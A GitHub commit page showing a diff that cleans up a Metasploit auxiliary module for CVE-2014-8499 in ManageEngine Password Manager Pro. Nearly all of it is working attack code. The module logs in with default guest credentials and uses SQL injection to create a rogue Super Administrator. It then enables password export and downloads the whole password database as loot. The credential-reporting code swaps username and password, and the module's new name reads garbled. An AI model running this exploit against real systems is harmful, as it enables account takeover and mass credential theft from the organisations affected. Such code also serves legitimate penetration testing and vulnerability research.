Skip to content

Commit cc99a6a

Browse files
author
Pedro Ribeiro
committed
Merge pull request #9 from jvazquez-r7/review_4155
Clean exploit for CVE-2014-8499 - PMP privesc + password disclosure
2 parents b3c2745 + 4b70170 commit cc99a6a

File tree

1 file changed

+108
-97
lines changed

1 file changed

+108
-97
lines changed

modules/auxiliary/admin/http/manageengine_pmp_privesc.rb

Lines changed: 108 additions & 97 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
##
2-
# This module requires Metasploit: http//metasploit.com/download
2+
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

@@ -12,19 +12,18 @@ class Metasploit3 < Msf::Auxiliary
1212

1313
def initialize(info = {})
1414
super(update_info(info,
15-
'Name' => 'ManageEngine Password Manager Pro Super Administrator Account Creation and Password DB Retrieval',
15+
'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection',
1616
'Description' => %q{
1717
ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection
1818
vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate
1919
privileges and obtain Super Administrator access. A Super Administrator can then
20-
use its privileges to dump the whole password database in CSV format.
21-
PMP can use both MySQL and PostgreSQL databases but this module only exploits the
22-
latter as MySQL does not support stacked queries with Java.
23-
PostgreSQL is the default database in v6.8 and above, but older PMP versions can
24-
be upgraded and continue using MySQL, so a higher version does not guarantee
25-
exploitability.
26-
This module has been tested on v6.8 to v7.1 build 7104 on both Windows and Linux.
27-
The vulnerability is fixed in v7.1 build 7105 and above.
20+
use its privileges to dump the whole password database in CSV format. PMP can use
21+
both MySQL and PostgreSQL databases but this module only exploits the latter as
22+
MySQL does not support stacked queries with Java. PostgreSQL is the default database
23+
in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL,
24+
so a higher version does not guarantee exploitability. This module has been tested
25+
on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in
26+
v7.1 build 7105 and above.
2827
},
2928
'Author' =>
3029
[
@@ -34,22 +33,18 @@ def initialize(info = {})
3433
'References' =>
3534
[
3635
[ 'CVE', '2014-8499' ],
37-
[ 'OSVDB', 'TODO' ],
36+
#[ 'OSVDB', 'TODO' ],
3837
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_pmp_privesc.txt' ],
3938
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Nov/18' ]
4039
],
4140
'DisclosureDate' => 'Nov 8 2014'))
4241

4342
register_options(
4443
[
45-
OptPort.new('RPORT',
46-
[true, 'The target port', 7272]),
47-
OptBool.new('SSL',
48-
[true, 'Use SSL', true]),
49-
OptString.new('USERNAME',
50-
[true, 'The username to login as', 'guest']),
51-
OptString.new('PASSWORD',
52-
[true, 'Password for the specified username', 'guest']),
44+
Opt::RPORT(7272),
45+
OptBool.new('SSL', [true, 'Use SSL', true]),
46+
OptString.new('USERNAME', [true, 'The username to login as', 'guest']),
47+
OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']),
5348
OptString.new('TARGETURI', [ true, "Password Manager Pro application URI", '/'])
5449
], self.class)
5550
end
@@ -59,18 +54,18 @@ def login(username, password)
5954
# 1st step: we obtain a JSESSIONID cookie...
6055
res = send_request_cgi({
6156
'method' => 'GET',
62-
'uri' => normalize_uri(datastore['TARGETURI'], 'PassTrixMain.cc')
57+
'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc')
6358
})
6459

65-
if res and res.code == 200
60+
if res && res.code == 200
6661
# 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions)
67-
if res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="([\w]*)"/
62+
if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="([\w]*)"/
6863
orgn_name = $1
6964
else
7065
orgn_name = nil
7166
end
7267

73-
if res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="([\w]*)"/
68+
if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="([\w]*)"/
7469
authrule_name = $1
7570
else
7671
authrule_name = nil
@@ -80,15 +75,15 @@ def login(username, password)
8075
cookie = res.get_cookies
8176
res = send_request_cgi({
8277
'method' => 'POST',
83-
'uri' => normalize_uri(datastore['TARGETURI'], 'login', 'AjaxResponse.jsp'),
78+
'uri' => normalize_uri(target_uri.path, 'login', 'AjaxResponse.jsp'),
8479
'ctype' => "application/x-www-form-urlencoded",
8580
'cookie' => cookie,
8681
'vars_get' => {
8782
'RequestType' => 'GetUserDomainName',
8883
'userName' => username
8984
}
9085
})
91-
if res and res.code == 200
86+
if res && res.code == 200 && res.body
9287
domain_name = res.body.to_s.strip
9388
else
9489
domain_name = nil
@@ -107,19 +102,19 @@ def login(username, password)
107102

108103
res = send_request_cgi({
109104
'method' => 'POST',
110-
'uri' => normalize_uri(datastore['TARGETURI'], 'j_security_check;' + cookie.to_s.gsub(';','')),
105+
'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';','')),
111106
'ctype' => "application/x-www-form-urlencoded",
112107
'cookie' => cookie,
113108
'vars_post' => vars_post
114109
})
115-
if res and res.code == 302
110+
if res && res.code == 302
116111
res = send_request_cgi({
117112
'method' => 'GET',
118-
'uri' => normalize_uri(datastore['TARGETURI'], 'PassTrixMain.cc'),
113+
'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc'),
119114
'cookie' => cookie,
120115
})
121116

122-
if res and res.code == 200
117+
if res && res.code == 200
123118
# 5th step: get the c ookies sent in the last response
124119
return res.get_cookies
125120
end
@@ -179,7 +174,7 @@ def inject_sql(old_style)
179174

180175
res = send_request_cgi({
181176
'method' => 'POST',
182-
'uri' => normalize_uri(datastore['TARGETURI'], "SQLAdvancedALSearchResult.cc"),
177+
'uri' => normalize_uri(target_uri.path, "SQLAdvancedALSearchResult.cc"),
183178
'cookie' => @cookie,
184179
'vars_post' => {
185180
'COUNT' => Rex::Text.rand_text_numeric(2),
@@ -194,10 +189,10 @@ def inject_sql(old_style)
194189

195190
def get_version
196191
res = send_request_cgi({
197-
'uri' => normalize_uri("PassTrixMain.cc"),
198-
'method' => 'GET'
199-
})
200-
if res && res.code == 200 &&
192+
'uri' => normalize_uri("PassTrixMain.cc"),
193+
'method' => 'GET'
194+
})
195+
if res && res.code == 200 && res.body &&
201196
res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
202197
(
203198
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
@@ -225,10 +220,14 @@ def check
225220

226221

227222
def run
223+
unless check == Exploit::CheckCode::Appears
224+
print_error("#{peer} - Fingerprint hasn't been successful, trying to exploit anyway...")
225+
end
226+
228227
version = get_version
229228
@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
230229
if @cookie == nil
231-
fail_with(Failure::Unknown, "#{peer} - Failed to authenticate.")
230+
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate.")
232231
end
233232

234233
creds = inject_sql(version < 7000 ? true : false)
@@ -237,81 +236,93 @@ def run
237236
print_good("#{peer} - Created a new Super Administrator with username: #{username} | password: #{password}")
238237

239238
cookie_su = login(username, password)
240-
if cookie_su != nil
241239

242-
# 1st we turn on password exports
243-
send_request_cgi({
244-
'method' => 'POST',
245-
'uri' => normalize_uri(datastore['TARGETURI'], 'ConfigureOffline.ve'),
246-
'cookie' => cookie_su,
247-
'vars_post' => {
248-
'IS_XLS' => 'true',
249-
'includePasswd' => 'true',
250-
'HOMETAB' => 'true',
251-
'RESTAB' => 'true',
252-
'RGTAB' => 'true',
253-
'PASSWD_RULE' => 'Offline Password File',
254-
'LOGOUT_TIME' => '20'
255-
}
256-
})
257-
258-
# now get the loot!
259-
res = send_request_cgi({
260-
'method' => 'GET',
261-
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', 'xmlhttp', 'AjaxResponse.jsp'),
262-
'cookie' => cookie_su,
263-
'vars_get' => {
264-
'RequestType' => 'ExportResources'
265-
}
266-
})
267-
if res and res.code == 200 and res.body.to_s.length > 0
268-
vprint_line(res.body.to_s)
269-
print_good("#{peer} - Successfully exported password database from Password Manager Pro.")
270-
loot_name = 'manageengine.passwordmanagerpro.password.db'
271-
loot_type = 'text/csv'
272-
loot_filename = 'manageengine_pmp_password_db.csv'
273-
loot_desc = 'ManageEngine Password Manager Pro Password DB'
274-
p = store_loot(
275-
loot_name,
276-
loot_type,
277-
rhost,
278-
res.body,
279-
loot_filename,
280-
loot_desc)
281-
print_status "Password database saved in: #{p}"
282-
else
283-
print_error("#{peer} - Failed to export Password Manager Pro passwords.")
284-
end
285-
status = Metasploit::Model::Login::Status::SUCCESSFUL
286-
else
287-
print_error("#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.")
288-
status = Metasploit::Model::Login::Status::DENIED_ACCESS
240+
if cookie_su.nil?
241+
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.")
289242
end
290243

244+
print_status("#{peer} - Reporting Super Administrator credentials...")
245+
report_super_admin_creds(username, password)
246+
247+
print_status("#{peer} - Leaking Password database...")
248+
loot_passwords(cookie_su)
249+
end
250+
251+
def report_super_admin_creds(username, password)
252+
status = Metasploit::Model::Login::Status::SUCCESSFUL
253+
291254
service_data = {
292-
address: rhost,
293-
port: rport,
294-
service_name: 'https',
295-
protocol: 'tcp',
296-
workspace_id: myworkspace_id
255+
address: rhost,
256+
port: rport,
257+
service_name: 'https',
258+
protocol: 'tcp',
259+
workspace_id: myworkspace_id
297260
}
261+
298262
credential_data = {
299-
origin_type: :service,
300-
module_fullname: self.fullname,
301-
private_type: :password,
302-
private_data: username,
303-
username: password
263+
origin_type: :service,
264+
module_fullname: self.fullname,
265+
private_type: :password,
266+
private_data: username,
267+
username: password
304268
}
305269

306270
credential_data.merge!(service_data)
307271
credential_core = create_credential(credential_data)
308272
login_data = {
309-
core: credential_core,
310-
access_level: 'Super Administrator',
311-
status: status,
312-
last_attempted_at: DateTime.now
273+
core: credential_core,
274+
access_level: 'Super Administrator',
275+
status: status,
276+
last_attempted_at: DateTime.now
313277
}
314278
login_data.merge!(service_data)
315279
create_credential_login(login_data)
316280
end
281+
282+
def loot_passwords(cookie_admin)
283+
# 1st we turn on password exports
284+
send_request_cgi({
285+
'method' => 'POST',
286+
'uri' => normalize_uri(target_uri.path, 'ConfigureOffline.ve'),
287+
'cookie' => cookie_admin,
288+
'vars_post' => {
289+
'IS_XLS' => 'true',
290+
'includePasswd' => 'true',
291+
'HOMETAB' => 'true',
292+
'RESTAB' => 'true',
293+
'RGTAB' => 'true',
294+
'PASSWD_RULE' => 'Offline Password File',
295+
'LOGOUT_TIME' => '20'
296+
}
297+
})
298+
299+
# now get the loot!
300+
res = send_request_cgi({
301+
'method' => 'GET',
302+
'uri' => normalize_uri(target_uri.path, 'jsp', 'xmlhttp', 'AjaxResponse.jsp'),
303+
'cookie' => cookie_admin,
304+
'vars_get' => {
305+
'RequestType' => 'ExportResources'
306+
}
307+
})
308+
309+
if res && res.code == 200 && res.body && res.body.to_s.length > 0
310+
vprint_line(res.body.to_s)
311+
print_good("#{peer} - Successfully exported password database from Password Manager Pro.")
312+
loot_name = 'manageengine.passwordmanagerpro.password.db'
313+
loot_type = 'text/csv'
314+
loot_filename = 'manageengine_pmp_password_db.csv'
315+
loot_desc = 'ManageEngine Password Manager Pro Password DB'
316+
p = store_loot(
317+
loot_name,
318+
loot_type,
319+
rhost,
320+
res.body,
321+
loot_filename,
322+
loot_desc)
323+
print_status("#{peer} - Password database saved in: #{p}")
324+
else
325+
print_error("#{peer} - Failed to export Password Manager Pro passwords.")
326+
end
327+
end
317328
end

0 commit comments

Comments
 (0)